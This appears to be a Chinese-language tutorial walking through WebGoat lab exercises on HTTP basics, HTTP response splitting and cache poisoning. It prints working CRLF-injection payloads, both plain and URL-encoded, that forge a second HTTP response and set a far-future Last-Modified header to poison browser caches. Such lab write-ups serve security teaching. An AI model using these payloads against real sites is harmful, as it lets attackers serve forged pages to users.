General(HTTP)

在上一章中,我们已经完成了WebGoat的安装,接下来,就可以来搞事情了…

首先,第一部分是对WebGoat的介绍,这里不再多说,我们直接进入实战部分

General(HTTP)_第1张图片

 

0xx1 General

         本节主要介绍的是HTTP基本知识

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web)服务器传输超文本到本地浏览器的传送协议

                  HTTP基于TCP/IP协议

HTTP的客户端请求包括请求行,请求头部,空行和请求数据四个部分组成

 

  1. HTTP响应

本节主要目的是了解浏览器和Web程序之间的数据传输

在输入框输入任意字符,之后点击提交,然后一直点击GO,即可通关

General(HTTP)_第2张图片

General(HTTP)_第3张图片

 

  1. HTTP拆分
    1. 判断,重定向里边的Location参数恰好是提交的参数’ chinese’,这样,就存在HTTP应答拆分的可能

General(HTTP)_第4张图片

    1. 在http://yehg.net/encoding/进行URL编码,将URL编码后提交(网站打开速度较慢,耐心等待一下就好)

China

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

Gogoing

 

URL编码为:

China%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2047%0A%3Chtml%3EGogoing%3C%2Fhtml%3E%0A

General(HTTP)_第5张图片

然后刷新一下网页,第一阶段已经通过

General(HTTP)_第6张图片

 

    1. 如果某行的内容是Content-Length:0,则浏览器响应队列会认为这个响应已经结束.浏览器向重定向地址发送请求后会把Content-Length:0之后的内容当成下一个响应,从而显示Gogoing页面内容

在这个基础上可以改进攻击方式让它更有威胁.在构造的请求中加入Last-modify字段,并设置一个将来的值比如2020年1月1日.意思是服务器告诉浏览器,这个网页最后一次修改是在2020年1月1日.如果浏览器不清除缓存,下一次请求这个页面会加上if-modify-since字段,值是2020年1月1日,也就是说浏览器会问服务器,这个网页在2020年1月1日之后修改过嘛?当然服务器是人的话肯定会对这个问法莫名其妙,怎么会传过来一个未来的值?但是因为是程序,服务器会比对最后一次修改时间和传过来的时间,发现传过来的时间较新,就会回送304即Not Modified,表示这个网页没有被修改过.浏览器接受到了这个响应会从本地缓存读取网页,当然是之前注入的错误网页.如果浏览器不清除缓存,再也别想读取到正确的网页信息了.这就是HTTP的Cache Poisoning(缓存毒化)。

china

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded

Last-Modified: Mon, 27 Oct 2222 14:50:18 GMT

Content-Length: 47

 

URL编码:

china%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202222%2014%3A50%3A18%20GMT%0AContent-Length%3A%2047

General(HTTP)_第7张图片

 

欢迎关注微信公众号MS08067安全实验室

 

                                                       

 

你可能感兴趣的:(MS08067安全实验室)